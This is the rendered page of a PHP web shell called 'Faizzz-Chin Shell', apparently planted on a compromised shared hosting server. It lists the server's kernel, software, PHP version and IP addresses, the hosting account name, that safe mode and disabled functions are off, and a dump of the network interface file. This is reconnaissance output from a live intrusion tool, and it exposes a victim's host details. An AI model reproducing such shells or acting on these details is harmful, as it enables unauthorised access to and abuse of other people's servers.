SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-11 01:31:12
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 120781075606743 55468443189    0    0    0     0          0         0 120781075606743 55468443189    0    0    0     0       0          0
  eth0: 35948395146054 52972109663    0 18687564 18687564     0          0  64143150 84532637762065 76088053778    0    0    0     0       0          0
  eth1: 35818406674834 52755093924    0 17758240 17758240     0          0  63911006 59894628071980 56412534936    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0  1203112   17182    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth8:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 71766801820888 105727203587    0 36445804 36445804     0          0 128054156 144427265834045 132500588714    0 1443    0     0       0          0
bond0.1000: 67758190748900 68451328087    0    0    0     0          0    590559 114666036219224 67803625492    0 1408    0     0       0          0
bond0.999: 793302464133 3922922871    0    0    0     0          0    572798 25793525484386 2111431642    0   35    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
© 2026 Faizzz-Chin